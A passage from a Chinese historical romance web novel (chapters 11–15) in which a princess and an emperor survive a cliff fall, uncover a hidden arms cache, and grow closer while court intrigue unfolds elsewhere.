正当万俟庭准备假做不敌,顺着刺客的力道,翻下悬崖时,余光瞥见了一抹昳丽的身影。
绯色裙裾被山风拂动,发上的丝带与铃铛交缠着,他瞥见了她眸底的兴味,忽然觉得游戏可以改一改。
“可要帮忙?”诺敏望着那假装不敌的男人,温声开口。
万俟庭唇边勾起一抹戏谑,忽而向她的方向扬声道:“敏敏还不出手?”
刺客们攻势一滞,惊疑不定地望向诺敏,既而迅速分出一队,朝她攻来。
她下意识想拿出腰间的短笛,却拿了个空,才想起刚刚嫌硌得慌,放在车厢榻几上了。
她空手接过几招后,正待抽出腰间的长鞭,就被一股大力扯入怀。
她抬眸就对上了万俟庭唇边不怀好意的笑:“朕来保护公主。”
话音刚落,诺敏还没回过神,整个人已随着他一同坠下断崖。
失重感瞬间裹挟心脏,急速下坠中,万俟庭一手扣着崖上的藤蔓,一手牢牢将她扣在怀里,在崖上顺着藤蔓跳跃,耳畔风声呼啸,他靠近她的耳侧低语:“好玩么?”
诺敏被风吹的睁不开眼,深吸了口气,将手伸向他的腰间软肉,狠狠一捏,嘴唇贴近他的颈侧,温热的气息拂过:“好!玩!”
诺敏身前忽然传来一阵震动,起初是从胸腔中发出的闷响,随即那笑声变得清晰而张扬,他竟还在哈哈大笑!
12. 有病
诺敏瞥着眼前笑的欢快的人,更加确信了,此人病的不轻,想着既然他要使力,那她就安心的窝着。
“嗤啦--”一声,是他掌心与藤蔓摩擦发出的声音。
诺敏余光瞥见他那只骨节分明的手,已被粗糙的藤蔓磨的皮开肉绽,猩红的血珠顺着手掌划入袖口,轻喃一声:“真是活该。”
尽管耳边狂风呼啸,这声低语还是传进了万俟庭的耳蜗。
他将横在她腰间的左手收紧了些,眉眼间尽是恣意,嘴角噙着几分懒洋洋的笑:“让敏敏担心了。”
诺敏没好气的睨了他一眼,然后微微侧过头,淡声道:“有病。”
待他们二人双脚落地,已是半炷香后。
相比于万俟庭身上大大小小的擦伤,诺敏除了墨发和身上的衣裳被风吹的有些凌乱外,其他并无大碍。
她一把推开万俟庭,拍了拍身上沾染的草叶,嗓音恼怒:“万俟庭,你脑子是不是有问题?”。
万俟庭凝了一眼她眉眼间的烦躁,眸中却染上一丝愉悦:“敏敏这是终于肯唤我名字了。”
诺敏瞥见他吃痛的蜷了蜷手指,终究还是从锦囊中掏出伤药,扔进了他怀里:“自己涂。”
万俟庭抬起血肉模糊的右手伸到她眼前,嗓音柔和中掺杂了一丝软意:“我一只手怎么上药,虽是我拖你下水,但终究也没让你受伤,帮个忙总不过分吧。”
诺敏眉头轻蹙了蹙,面上露出一丝嫌弃:“你正常点。”
说的万俟庭面上一噎,喉咙梗了梗,轻叹了一声:“哎......”
正待他要将手收回时,诺敏轻拽住了他的袖口,拿过他的手,细细将倒刺拔出,指尖蘸了药膏,落在他滚烫的掌心。
药膏清冽,皮肉却灼热,冰火两重天间,他指节微微蜷缩了一下,呼吸也沉了几分。
诺敏故意在伤口上按了按,语气戏谑:“现在知道疼了?”
他闷哼一声,并没多言,诺敏遂又放轻了手劲,轻吹了吹,温热的气息拂过掌心。
万俟庭眸光扫过她认真的眉眼,心跳漏了一拍,视线迅速从她身上挪开,望向远方。
片刻后,他才开口:“往前走几里,有一处密林,过了密林,可直通西蛮。”
他又问道:“你去西蛮有何事?”
诺敏眸底闪过一抹狡黠,她拿出锦帕,手指翻飞间,替他打了个蝴蝶结,才抬眸道:“找药。”
万俟庭垂眸看了一眼自己的掌心,眉梢微挑,他伸指弹了一下蝶翼,唇角微弯:“不问问我去干嘛?”
她掠过他身侧,俯身拾起地上的一根枯枝,放进他左手的掌心,抬眸示意他开路后,才开口:“与我无关。”
万俟庭盯着自己左手的枯枝看了片刻,平生第一次知道,竟真的有人在他面前,能如此自在随意。
他半晌后才道:“怎么与你无关?你不是来轩辕探我底细的?”
诺敏眸光闪了一瞬,声音却平静无波,承认道:“那你说吧。”
“你还真是......”比他还不按常理。
“说不说,不说就赶紧走。”诺敏站在他身后催促着。
还不待他开口,就已经被她推着往前。
断崖边。
黑衣刺客们无声收剑,庆风等人齐齐看向崖底。
为首的那人瞥了眼云雾缭绕的深渊,眉眼间泛着冷光:“我们走!”
霎时间,崖边只剩下苏日娜和娜兰她们惊慌失措的哭喊声。
乌云娜俯身将苏日娜扶起,轻声道:“四公主放心,大公主武功高强,绝不会有事。”
苏日娜抹了下眼泪,忽而紧紧拉住她的手,急切道:“乌云娜,你快下去找找阿姐!”
乌云娜轻抚了抚她的背:“大公主许是早就料到路上不安全,遂让属下直接送您去西蛮江少主身边,等着她。”
苏日娜闻言这才止住了哭声。
这边,庆风收敛了气息,闭眼听了片刻,察觉到那批黑衣人并没有离开,于是吩咐道:“所有人跟我走!”
大昭武成王府书房内。
谢旬舟正端坐在案后,批阅着出行期间遗留下来的奏章。
这时,一阵“嘟嘟”的敲门声从外响起,贴身侍卫赵泉的声音传来:“王爷,于大人求见。”
“让他进来。”
来人一身墨色飞鱼服,腰间配着绣春刀,五官凌厉,行走间,带着少年人的轻狂肆意,正是御龙卫指挥使于崇文。
他躬身行礼:“王爷,那小皇帝又去了新文馆。”
谢旬舟这才放下笔,抬眸望向他,眉间闪过一丝疑惑:“新文馆?”
“就是小皇帝新开的那个,招揽天下才子的斗文馆,只要能连赢十场,就可直接举仕。”
“当初您就不该同意,那小皇帝刚刚选举了一个文人,已经将他封为天子掌事了。”
于崇文看着谢旬舟风轻云淡的眉眼,急的原地打转:“您怎么还不上心呐!若是再多选几个,您这摄政王的位置恐怕都得让出来!”
谢旬舟看着他烦躁的走来走去的模样,轻笑一声:“若他能有如此城府,大哥也能安息了。”
“您怎么......哎......”
“那人我打听清楚了,叫朱严牧,您赶紧......”于崇文话还没讲完,就被谢旬舟抬手打断。
“你说他叫什么?”
“朱严牧啊。”
谢旬舟眸底闪过一丝寒意,看的于崇文汗毛直竖:“怎......怎么了,可是有何不妥?”
又见他从身后书架的暗格中,取出一张画像递过来:“看看,是不是长这样?”
于崇文扫了一眼,顿时眼眸睁大,惊讶道:“您......您怎么知道?”
谢旬舟拧了拧眉间,忽而嗤笑一声:“他叫慕砚竹,是轩辕人。”
“轩辕?!那万俟庭终于坐不住了?”
谢旬舟侧首望向窗外渐黑的天幕,嗓音肃穆:“密切监视他的一举一动,事无巨细的报上来。”
于崇文顿时收敛了肆意,沉声答道:“是。”
夜幕低垂,断崖之下的藤萝密布,两人艰难的穿行其间。
诺敏脚下被杂草绊了一个踉跄,直直扑
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向万俟庭,还不待他转身扶稳,就被脚下的不起眼的枯藤卷起裤脚,天旋地转间,两人一同向旁侧的陡坡滚去。
草木枯枝簌簌刮过衣衫,二人只觉身子一空,竟直直坠入一个被藤蔓包裹住的洞穴之中。
待下落停止,诺敏才发觉自己正压在万俟庭的胸膛上,他受伤的右手护着她的后脑,左手横在她的腰间,仍紧紧扣着,二人均气息紊乱。
她伸手推开他的胸膛,站起身,目光扫视过洞穴四周,这山洞明显是人为凿穿的,她正欲开口,却见他仍坐在地上。
万俟庭朝她伸出左手,眉眼间染上一丝痛意,唇色变得苍白:“拉我一把。”
诺敏俯身用力搀起他,见他微微躬着腰:“你怎么了?”
他的额头已经浸出冷汗:“好像受伤了。”
诺敏走到他身后才看到,一根枯枝直直插在他的背脊上。血珠已经顺着伤口溢了出来,伤口处的衣衫也被血液浸透。
她眸色微沉,将他扶到洞壁处坐下,然后撕下内裙最柔软的布料,叠成厚厚的一块,低声道:“忍着些。”
话音刚落,她一手扶住他的肩,一手握住那枯枝外端,猛地发力。
万俟庭额角青筋暴起,冷汗浸透了他的里衣,他却没吭一声,只有沉重的呼吸喷在她的颈侧。
枯枝落地,她迅速将药粉洒在伤口,再用布团死死按住,扯下自己的腰带紧紧缠绕在他的胸膛。
他垂眸看着绑在自己胸前的绯色腰带,跟掌心的蝴蝶结一模一样,眸光闪动。
整个过程,他一言不发,只直直盯着她。
诺敏系好结抬眸,昏暗的洞穴内,正对上他深邃的眼眸,他脸色苍白,可那双望向她的眼睛,依旧眸色光亮。
二人双双别开视线,一时竟静默无言。
坐着歇了片刻,诺敏才开口:“我刚刚大概打量了一下,这处洞穴并非天然形成,有人为扩凿的痕迹。”
“走吧,既然来了,就进去看看。”万俟庭缓缓起身,向她伸出手。
诺敏顿了片刻,才将手递给他,在两手相触的瞬间,他眸底的笑意加深。
万俟庭点亮随身的火折子,二人步履无声地走向洞穴深处,越往内,那股火药味就愈发浓厚的充斥着鼻尖。
他倏而停下脚步,诺敏随着他的目光看去,里面偌大的空间,竟摆放了几十口黑漆木箱,箱体硕大,隐隐散发出硝石硫磺的刺鼻气味。
万俟庭拔出靴间的匕首,撬开一口木箱,火折子晃过去,箱内赫然摆放着密密麻麻的铁管。
二人异口同声:“火铳......”
诺敏再抬眸看向万俟庭时,眸色变得意味非常。
若说三国内,哪个国家的火铳是这个样式,那就是轩辕。
“你在跟我演戏么?”
万俟庭被这声质问弄的回过神,他瞥见诺敏眉目间的防备,轻叹了口气:“我若说并不知,你可还愿意相信?”
他拿起一个火铳,指着手柄处:“若为我轩辕军中正规火铳,此处会印有万俟皇室的专属印章。”
而他拿的那管并无印记。
13. 挡雨
诺敏接过万俟庭手中的火折子,往四周转了转,发现这里除了火铳还有许多军中规制的刀剑、长枪。
她眉眼间充满了幸灾乐祸,唇边勾起一抹坏笑:“万俟庭,你这轩辕皇帝当的也不容易啊。”
“既然自己的内患还没解决,手就别伸太长,小心哪天阴沟里翻船。”
忽而,低醇的嗓音出现在她耳侧,语调慵懒:“那敏敏记得救我。”
不知道什么时候,万俟庭已经踱步至她身后,二人仅隔着一拳的距离。
诺敏不自在的往旁边挪了一步:“靠这么近做什么。”
万俟庭轻笑一声,他的目光随即扫过洞穴里,这足以供给上万人的军械,笑意微敛,将双指含在唇间,一声清脆的口哨声从他口中溢出。
片刻后,一个玄色身影已无声无息的出现在洞穴内。
万俟庭眸色幽深,淡淡开口:“庆云,你留在此处暗中盯着,朕想看看还有多少鱼漏在网外。”
诺敏余光瞥见他满是算计的眉眼,看样子又有谁要倒霉了。
她走到摆放刀剑的黑木箱前,随手拿起一把,掂了掂:“这人造反都造不明白,这刀里多少人贪了油水,才这般轻。”
她将刀放下,又走到长枪架前,素手轻抬,手腕微旋,一柄长枪已经离架。
她足尖轻点,裙裾旋开,枪风激得洞穴内风声簌簌,腰身一折,长枪如电直刺虚空,收势时,枪尖犹自嗡鸣不止,而她气息未乱。
她指尖划过枪尖,枪头与木杆衔接处还有些微缝隙,这若是在战场上,得白送多少将士的性命。
“这做工实在潦草,若是那人就如此水平,你倒是可以安枕无忧了。”
话落,她将那长枪直接塞进万俟庭的手里,便转身向外走去。
万俟庭望着她那潇洒至极的背影,眸中闪过一丝笑意,又对庆云道:“恢复原样。”
“若查到幕后之人,不可打草惊蛇。这里的军械替换一遍,再运回皇城司,交给邵宗叙处理。”
北朔南山脚下,原野上浮起淡金色的尘霭。
布日固德勒马立在草原高坡,嘴角衔着一株干草,望着草原上缓缓移动的羊群,心中是从未有过的舒爽。
忽而一阵急促的马蹄声从远处传来,布日固德回头就望见了,从逆光中向他疾驰而来的暗一。
待暗一行至他眼前,布日固德才下马:“敏敏可是有什么打算?”
暗一躬身行礼:“公主让您去金雕部,看看额尔敦想干什么?”
他吐出嘴里叼住的草:“直接传信给我就行,何必让你跑一趟?”
暗一淡声答道:“公主让属下保护您的安全。”
风从远山吹来,布日固德眼眶有些发热,他垂眸望着底下,追逐着羊群的牧羊犬,嗓音沙哑:“等......等放完牧就去。”
宫阙九重,谢旬舟身着玄色大氅,踏过白玉阶,御龙卫执戟而立,见他行来均垂首屏息。
“摄政王觐见--!”内侍尖细的嗓音传入大殿内时,谢旬舟已经踱步至御案前。
紫宸殿内,十四岁的皇帝谢怀屿坐在御案后,手执一本兵法典籍,正看的入神。
听见脚步声,才将视线从书上移开,看向来人。
“皇叔来了......”
“臣谢旬舟参见陛下。”
谢怀屿瞥了一眼内侍,呵斥道:“还不快看座。”
又望向谢旬舟,语气关切:“皇叔快起来吧,身子可好些了?侄儿听闻皇叔从轩辕回来,又病了一场。”
谢旬舟顺势咳嗽了几声,才淡淡开口:“臣多谢陛下关心,已无大碍。”
他余光注意到谢怀屿眸中的锐利,十四岁的少年终究还是稚嫩了些,还没学会藏住眼中的情绪:“臣听闻陛下近日从新文馆选中了一个才子,封为了天子掌事。”
谢怀屿指尖紧紧捏住书缘,缓了一瞬才道:“皇叔倒是消息灵通。”
“朱严牧在斗文场上,连赢十场,给他天子掌事这个位置,朕觉得无可厚非。”
谢旬舟看着他笃定的面容,眸中晦暗不明:“陛下,可查过此人底细?”
谢怀屿却骤然抬眸,眼神掠过一丝不愤:“朕已经不是皇叔眼中那个稚子了,朕早就知晓什么事该做!”
“皇叔既然答应让朕开这个新文馆,那朕怎么选,皇叔还是不要过问了。”
还不待谢旬舟开口,他已经下了逐客令:“皇叔若无事,就回去吧,朕待会儿还要跟朱掌事学棋。”
谢旬舟只能起身告辞:“希望陛下真的知道自己在做什么。”
待谢旬舟走远,谢怀屿才拿起手边的茶盏,砸向青玉砖,眉眼间尽是阴郁:“不过是个辅政大臣,朕能唤你一声‘皇叔’,你都该感恩戴德!还敢教朕做事!”
“小明子!”
一青衣内侍赶忙上前,谄媚道:“陛下何必跟他一般见识,毕竟他总是活不长的。”
“蛊毒还在?”
“陛下放心,奴才刚刚观摄政王面色,蛊毒并没解。”
谢怀屿摸了摸那原本摆放玉玺的檀木盒,现在里面空无一物,他眸色渐渐幽深:“那就好,摄政王的位置也该空出来了。”
暮色四合,残阳如血。
三辆凤凰图腾的马车在山谷深处停下,苏日娜掀开车帘。
乌云娜上前搀扶她下车:“殿下,无尘谷到了。”
苏日娜顺着她的目光望去,只见薄雾自苍翠的谷底升起,如烟似纱包裹着面前的一片苍天古树。
乌云娜从树上摘下一片树叶,放在唇间吹奏,霎时间,古树仿佛活过来般,分开两侧,让出一条道路,而那道路的尽头,伫立着一座又一座的房屋。
还未待她们走进去,就有一深蓝色的身影驾着马,从道路尽头奔来。
人未到声先至:“姐姐!姐姐!你终于舍得来看......”
话还没说完,就变了脸色:“乌云娜,你家主子呢?!”
来人约是个十五六岁的少年,深蓝色的衣衫,额上一抹细带与衣衫同色,眉眼间桀骜不驯。
乌云娜恭敬的向江致行礼:“江少主,我家殿下出了些意外,吩咐我等先将四公主和这位青衫先生,送到您这儿来。”
她伸手指向眼覆黑丝带,站在最后面那辆马车旁的青衫。
早时,诺敏便吩咐了她,此人来路不明,进入山谷时,需小心谨慎。
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>乌云娜余光瞥见江致眼底的不满,又轻声开口:“殿下到时会来找您。”
江致闻言,这才收起不悦的嘴角,打量起来人:“你就是姐姐的妹妹?”
苏日娜一脸不愉,语气强硬:“那是本宫的阿姐!”
江致口气轻蔑:“你阿姐不还是我姐姐。”
“你--!”
乌云娜听着两人的斗嘴,抹了抹额角的冷汗,温声相劝:“江少主,要不......先让我们进去?”
江致上下扫了一眼苏日娜后,打马转身,嗓音带着嫌弃:“进来吧。”
苏日娜被他这一眼盯着心火直冒,追在他身后:“本宫要打死你!”
待他们的身影跑远,乌云娜才来到青衫身边:“青衫先生,你可以摘下眼上的丝带了。”
青衫闭眼缓了缓,才睁开:“这是?”
“西蛮的无尘谷,这一路上委屈先生了。”
青衫微勾唇角:“是某叨扰了许久才是。”
“我们进去吧。”
密林中,古树参天,繁茂枝叶如巨伞般撑开,将渐密的雨帘隔绝在外。
诺敏和万俟庭两人背靠着树干,她望着越下越大的雨:“你的暗卫呢?”
“就带了一个。”
诺敏竟一时无言以对,垂眸瞥见自己的衣角已经渐渐淋湿,她微微侧过身,抬手拽住万俟庭的衣领,将他拉到自己的身前挡雨。
在触到他胸膛的那一霎那,她不由得抬眸,恰撞进他深邃的眉眼,忽而想起他的伤口在背后,遂又将他转了个圈。
她安心的躲在他的背后,想着苏日娜是不是快到江致那儿了,又思忖着布日固德那里怎么说了,倏而听见一声闷笑声从身前人的胸膛发出。
她抬眸就对上了万俟庭侧首而来的视线,又瞥见他唇角的戏谑,随即开口询问:“怎么了?”
万俟庭望着她理所当然的模样,心中竟觉得很是畅快:“公主对朕,真是不客气。”
诺敏睨了他一眼,一滴雨水顺着万俟庭轮廓分明的下颌,滑落至衣领,她伸手拉住他的臂膀,往里带了带:“陛下对本宫客气了吗?”
被直接拉下水,她也是第一次遇到这样的人。
万俟庭打趣道:“我不过是想多些时间与敏敏相处。”
诺敏不客气:“我们很熟吗?”
一句“你还欠我一支舞”梗在万俟庭的喉咙,发不出。
诺敏望着他欲言又止的模样,忽而起了几分询问的兴致:“你来西蛮干嘛?”
万俟庭没想到她的话题转的如此之快,半晌后才道:“找人。”
诺敏侧首伸到他臂膀旁,抬眸望着他:“找谁?”
万俟庭望着她那双清澈的双眸,眼底的怅然一闪而过:“......我阿娘的贴身嬷嬷。”
诺敏又问:“她是不是知道什么?”
“你为何不杀了太后?”
“你是想看看她能对你狠心到何种地步?还是想让她后悔当初?”
“若是我,对我不好的,我早就弃了,何必留着折磨自己。”
诺敏滔滔不绝,万俟庭怔在原地,眸底轻颤:“......你怎么知道太后......”
14. 没事
诺敏面带疑惑:“你不是将她圈禁了吗?”
“若是她当初对你很好,你又怎会如此?”
万俟庭垂眸望着脚下的小水坑,指尖微微摩挲了一下扳指,或许吧。他或许就是在等一个可以杀了她的理由,一个不用再骗自己的理由。
诺敏:“你还不如直接动手,省的夜长梦多。”
“这波刺杀你的刺客,不是那太后就是那山洞主人的手笔。”
万俟庭听着她肯定的语气,嗓音带了几分柔和:“敏敏当真聪慧过人。”
他接着又话音一转:“公主可曾听闻,这处密林有个传说。”
诺敏抿着唇,一脸你爱说不说的神情睨着他。
万俟庭鼻间溢出一声笑:“传闻中,若一对有情人在这密林中,能寻到传说中的望月潭,必会白头偕老。”
诺敏眉梢微扬,打趣道:“你信?”
“若是一对母女或者父子寻到了呢?母女之情和父子之情不都是情吗?”
若是忽略她那眸底的玩味,那面上认真求知的神情,还真像个求知欲爆棚的孩童,当真能唬人。
万俟庭转过身,将她困在树干与他胸膛之间,二人距离太近,诺敏甚至能数清他的眼睫根数。
万俟庭抬手将她额前的一缕湿发拢至耳后,诺敏想往后退,后脑却在要撞上树干的那一霎,被一只温暖的大掌托住了。
万俟庭满眼促狭:“躲什么?”
随即又像她阿娘那般,抚了抚她的后脑。
二人双眸轻撞,万俟庭那双平日里蕴着寒霜的墨瞳,此时充满了笑意,映着她微微失措的模样。
他温声开口:“你说的不错,传说毕竟只是传说,谁会当真。”
他又抬眸望了一眼天幕:“雨停了,我们走吧。”
.
西蛮无尘谷。
江致穿过月洞门,抬手推开亭雪斋的门,对下人吩咐道:“此处再给我重新打扫一遍。”
又对身后的乌云娜道:“你将姐姐的东西归置到里面吧。”
“姐姐上次让我将蛊虫安置在接近轩辕的边界,也没让我撤回来,你可知她要干什么?”江致看着乌云娜指挥娜兰娜仁整理诺敏的衣箱,跟在她身后追问道。
乌云娜:“江少主,殿下的用意,属下怎可擅自揣测,等殿下回来,您可亲自询问缘由。”
江致耸了耸肩,不置可否。
忽而一清脆又带着些恼怒的嗓音从身后响起,苏日娜急匆匆的向他跑来,气还没喘匀,话已经出口:“......江......江致!你......什么意思?!”
苏日娜气急败坏,想揪他衣领将他拽下来,没曾想他直接后仰,自己压根儿够不到,更气了:“你什么意思?!为何将本宫安排在离阿姐最远的客房?”
江致仰头撩了撩自己的长发,淡声答道:“不爱住就别住。”
苏日娜直接抬脚碾上他的鞋,用力地蹬了蹬,疼的江致直呼气。
苏日娜:“你给本宫等着,等阿姐回来,本宫一定跟她告状!”
江致一听,瞬时慌了,拉住她转身欲走的臂膀,嘴角露出一抹谄媚又僵硬的笑:“四公主留步!哪个下人这么不长眼,竟敢如此怠慢,本少主这就为公主做主!”
又道:“四公主看这旁边的亭月斋如何?距离这亭雪斋只有几步路。”
苏日娜望着江致那极不情愿的神情,顿时眉开眼笑:“好啊,那就谢谢江少主了。”
然后拂开他,还拍了拍自己的裤脚,向外走去。
江致侧首低喃:“成安,你说怎么同是姐妹,相差这么大呢。”
跟在他身后的墨衣男子,眸中闪过一丝恍惚,才开口道:“少主,天下之大,哪怕是双生子都不一定一个模样。”
江致点了点头,赞同道:“也是!”
他忽而想到青衫,眯起眸子吩咐道:“对了,那个书生安排的离这里远些,若是姐姐信任的人,进无尘谷时,不会让他蒙眼,你安排人暗中盯着。”
江成安躬身答道:“少主放心。”
江致瞟了一眼他郑重的神情,抬手搂过他的肩:“怎么还是一口一个少主少主的,我父亲早就将你收为了义子,你我就该兄弟相称才是。”
江成安眸光触动,唇角微勾:“叫习惯了,以后不会了......小致。”
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轩辕寿康宫内外已经渐次悬起绢灯,殿内佛香浓郁,殿门“吱呀”一声被从外推开,映月踏着碎步急趋而来。
“太后娘娘,那人传信,陛下掉下悬崖后,他们暗中跟在禁卫军后面搜遍了崖下,只见到陛下的袍角碎片挂在枯枝上,染着血,不见人影.......”
“他们猜测......许是被野兽啃食殆尽了......”
沈青梧指尖正拨弄着一串佛珠,闻言猛地一攥,她面上扬起一副悲戚的神色:“哀家的皇儿......死的......”好啊。
她抬眸望向佛龛,眸底尽是笑意,这次老天终是站在她这边了。
映月视线从沈青梧满是阴冷的眉眼收回,就在刚刚,黑衣人将这消息传给她时,她心中满是惶惶不安,但在看到青板砖下,留着“如实上报”的纸条,才放下心来。
比起那随时可能导致她丧命的主仆之情,还是保住娘亲的性命要紧。
“映月,那人可还在外面?”
一声询问将映月唤回了神:“启禀娘娘,那人将口信传给奴婢后就走了,只不过他说他家主子想跟娘娘您见一面。”
沈青梧嗤笑一声:“帮哀家办成了这事,他果真是坐不住了。”
“待那人下次再来,让他家主子等着,该见的时候,哀家自会安排。”
.
轩辕丞相府书房内,檀香氤氲。
邵宗叙正临窗批阅着公文,忽听檐下风铃轻响一声,他才将朱笔放下,一道黑影已悄无声息的闪入室内。
暗卫声音压的极低:“大人,是属下失职,人......跟丢了。”
邵宗叙语气平淡:“起来吧,本官还是低估了对方。”
他又问道:“在何处跟丢的?”
“城南梧桐巷。那人许是发觉了属下的踪迹,转入一处客栈后,就不见了踪影。”
邵宗叙:“你继续盯着寿康宫,安排其他人去搜查一下梧桐巷。”
“是老鼠,早
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晚都会露出马脚。”
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入夜,山风渐厉,拉住诺敏腕间的那只手微微收紧,低沉的嗓音传来:“前面有处矮坡可以挡风,今夜只能在此歇脚了。”
矮坡不高,却足以遮蔽寒风,诺敏抱膝坐在避风处,他隔着恰到好处的距离,靠坐在矮坡上,从刚才开始,诺敏就没再开口。
她此时莫名有些心慌,余光瞥见他坐在豁口处,替她挡住了细小的风口,忍了忍,还是没忍住,语气平淡的开口:“坐那儿干嘛?过来些。”
万俟庭眉头微扬,笑意漫过眼角,缓缓靠近:“还以为敏敏生我气了。”
诺敏:“闭嘴!”
雨水淋湿了干柴,二人只能靠在一处取暖,诺敏原本渐沉的睡意,被身侧愈发粗重的呼吸声扰散。
她侧首看去,万俟庭依旧保持着笔挺的身姿靠在矮坡上,只是他额前已经布满了细汗,脸颊泛着不正常的潮红,嘴唇也干燥得失了血色。
诺敏轻推了他一下,唤了一声:“喂......”
没有回应。
她瞬时心下一沉,指尖刚触到他额头,便被那滚烫的温度灼得指尖一缩,这是伤口引发了高热。
诺敏随即从随身的药瓶中取出一粒药丸,塞进他的口中,本以为以她的医术,服下药后睡一晚总会痊愈,可夜半山风愈发凛冽,他身上的湿衣混着冷汗,令他难受得眉峰都微微蹙起。
诺敏望着那个平日里矜贵万方的人,他此刻竟流露出几分难得的脆弱,犹豫了片刻后,她终是轻轻扶住他的肩膀,让他缓缓侧躺下来,枕在自己的膝上。
她用自己已经干透的袍角盖在万俟庭身上,忽听他口中呢喃,诺敏侧耳过去,只有:“......母后......别......”
“......那就......一起死吧......”
“......母后......”
他烧的有些糊涂了,灼热的手掌无意识地攥住了她的手,用力至极,如同溺水之人抓住了浮木,口中依旧呓语不断。
诺敏轻叹了一口气,另一只手避开了他的伤口,轻拍了拍他的背,嗓音轻哄着:“睡吧睡吧,没事了......”
天光初透,万俟庭是在一片温软触感与清浅的松木香中恢复意识的,眼皮微抬,映入眼帘的,是她安静的睡颜。
她侧首靠在矮坡上,双眸阖着,眼下一片青影,显然是一夜不得安枕。
万俟庭目光微垂,发现自己还紧紧抓着她的右手,而她的左手则轻扣在他的背上,他微微动了一下,在他背后的那只手就开始无意识地轻拍着,口中还在低声呢喃:“......不怕啊......没事了......”
她的襦裙袍角堆叠在他的身上,似乎是感觉有点冷,她的肩膀微微蜷缩了一下。
万俟庭眸光轻颤,心口像是被什么东西填满,又酸又胀,心跳声震耳欲聋。
他掌心慢慢松开,想缓缓坐起身,却还是惊醒了她。
诺敏从混沌中倏然睁眼,眸中还带着几分朦胧,恰好与他四目相对,往日那双满是不羁和戏谑的双眼,此刻翻涌着太多她看不懂的情绪,空气瞬间凝滞。
15. 小骗子
诺敏收回目光,拉回自己的袍角,往旁边侧了侧身,抬起已经僵硬的手腕,轻转了转。
万俟庭这才缓缓坐起身,二人齐齐看向远方,竟都一时无言。
少顷,万俟庭轻咳一声打破沉寂,嗓音还带着沙哑:“......昨夜......谢谢你......”
诺敏侧首,抬手摸上他的额头,再径直拿过他的手腕探脉,取出药丸递给他:“高热已经退了,不过你身子还有些虚,将此药服下吧。”
虚?
万俟庭还沉浸在她手掌的暖意中,就被这个字醒了神,他眸中划过一抹错愕,垂眸看了自己一眼,不说身躯虬劲有力,那也是肌理分明,他也才二十有四,应该还没到那个地步吧。
他捻起药丸放入口中,指尖划过她的掌心,带来一阵凉意,诺敏眼睫闪了闪,她快速收回手,站起身往四周看了看:“你要是身体能坚持,我们就走吧。”
万俟庭目光扫过从她身上掉落在地的锦帕,抬眸望了一眼那挺直的背影,悄声拾起放入袖中,才慢慢起身。
诺敏看着那迈步在前的身影,每一步都踏的很稳,仿佛昨夜那场因高热而狼狈脆弱的人不是他。
两人一前一后,默然行过许久,林木掩映间忽闻水声潺潺,拨开垂落的树枝,一汪碧潭猝不及防地撞入二人的眼帘。
诺敏眸中闪过一丝讶异:“这不会就是你口中的望月潭吧?”
万俟庭思绪也空了一瞬,怎会如此之巧:“......也许。”
诺敏从他身边掠过向前,那潭水清澈见底,日光斜照,在水面洒下细碎的金光,她环顾了一下,确认并无野兽的痕迹,才侧身看向他:“过来坐下,你的伤口该换药了。”
待他坐下解了衣裳,诺敏想拿出锦帕给他擦拭,却发现袖口处空空如也:“我的锦帕丢了。”
万俟庭闻言,眼眸低垂,微微用力攥紧了自己的袖口处。
还没待他反应过来,诺敏已直接撕下他里衣的一处,打湿、上药、包扎,一气呵成。
她拍了拍手:“伤口恢复的不错。”
正欲起身,她的目光忽然凝在潭畔石缝间一株不起眼的碧草,十几片小叶拢着一粒赤红色果实。
诺敏瞳孔微颤,这形态......分明是医书古籍中记载的“还魂草”,生于至清水畔,可解百毒、愈内伤,于世间已经近乎绝迹。
她兴奋得拽住万俟庭的臂膀,嘴角的梨涡再也遮盖不住,眉间的朱砂仿佛都染上了喜意:“你看!那是还魂草!”
万俟庭还从未见过她如此欢快的模样,望着她亮闪闪的眸光,唇角也不犹的弯起,顺着她的指尖望向那处:“公主这趟可是来得不亏。”
诺敏侧首对上他眉眼间的打趣,收回双手拢了拢衣袖,笑容微敛,又变回了那个仪态万方的公主:“陛下,你有眼垢。”
随即起身,走向那还魂草,忽闻身后窸窣声响起,她回眸就看见了那原本玉树临风的帝王,正一只手抬起在前挡住容颜,另一只手在后忙活着。
待诺敏一声清脆的笑声入耳,万俟庭才放下手,抬眸就对上了她满是愉悦灵动的眼神。
诺敏一手掩唇,一手指着他,笑得都弯了腰:“......你......你怎么那么......好骗......”
万俟庭忽而起身逼近,一手紧紧扣住她的腰,在诺敏还在怔愣之际时,又抓起她的手,抚上他的脸颊、唇畔,接着划过鼻梁,最后是眉眼,他眸底幽深:“敏敏既然说脏,那便是脏了。”
“只是朕看不见垢在何处,就有牢公主了。”
他眼中的炽热,仿佛要将她灼穿,诺敏想使力推开他,腰却被越箍越紧。
他的气息拂在诺敏的鼻尖,二人越靠越近,诺敏腾出的那只手用力的掐向万俟庭的腰,他依旧无动于衷。
“还笑么?”
“小骗子。”万俟庭的唇靠近她的耳畔,带来一阵痒意。
诺敏眸光一转,双脚碾上他的靴,踮起脚尖,咬向他的脖颈。
万俟庭身形霎时僵住,她的贝齿不轻不重地衔住了他脖颈间的一块皮肉,带着报复意味的轻咬,温热的唇贴在他的肌肤上,让他的心跳瞬间失衡。
“唔......”
一声压抑的闷响自头顶传来,诺敏这才缓缓松开口,还不待她反驳一句“就笑”,就被脑后忽然出现的大掌带动,再次压向他的脖颈。
二人之间已没任何空隙,她能感觉到唇下那处脉搏猛地跳动起来,一下,又一下,擂鼓般,诺敏能感觉到他周身的气息骤然变了。
万俟庭偏过头,他下颌线绷得极紧,呼吸喷洒在她的鬓边。
“诺、敏。”两个字从他唇齿中挤出,嗓音带着某种山雨欲来的沙哑。
诺敏一向对危险的感知敏锐,她想抽出自己的鞭子,可万俟庭的武艺终是不弱于她,她竟是动不了分毫。
好不容易从他脖颈处退了一点,就感觉到自己颈边一阵温热的气息靠近,待那气息远离时,她颈边已多了一抹红痕。
万俟庭搂紧她的腰,将她从他脚上轻轻提起,放回地面,随后收回了手。
诺敏摸着颈边还残留的温热,脑中空白了一瞬,呆愣的看着他,眼中满是惊愕:“......你......”
万俟庭眉眼间的笑意却是压也压不住,他摸了摸鼻尖,轻咳一声:“怎么?只许你咬......不许我还么?”
“我是咬,你是......!”
他往前走近一步,盯着她的眼,嗓音愉悦:“我是什么?”
诺敏方才咬人的气焰一下子全散了,热意后知后觉地漫过耳尖,一路烧上来,最后聚在脸颊,她慌忙垂下眼,睫毛颤的厉害。
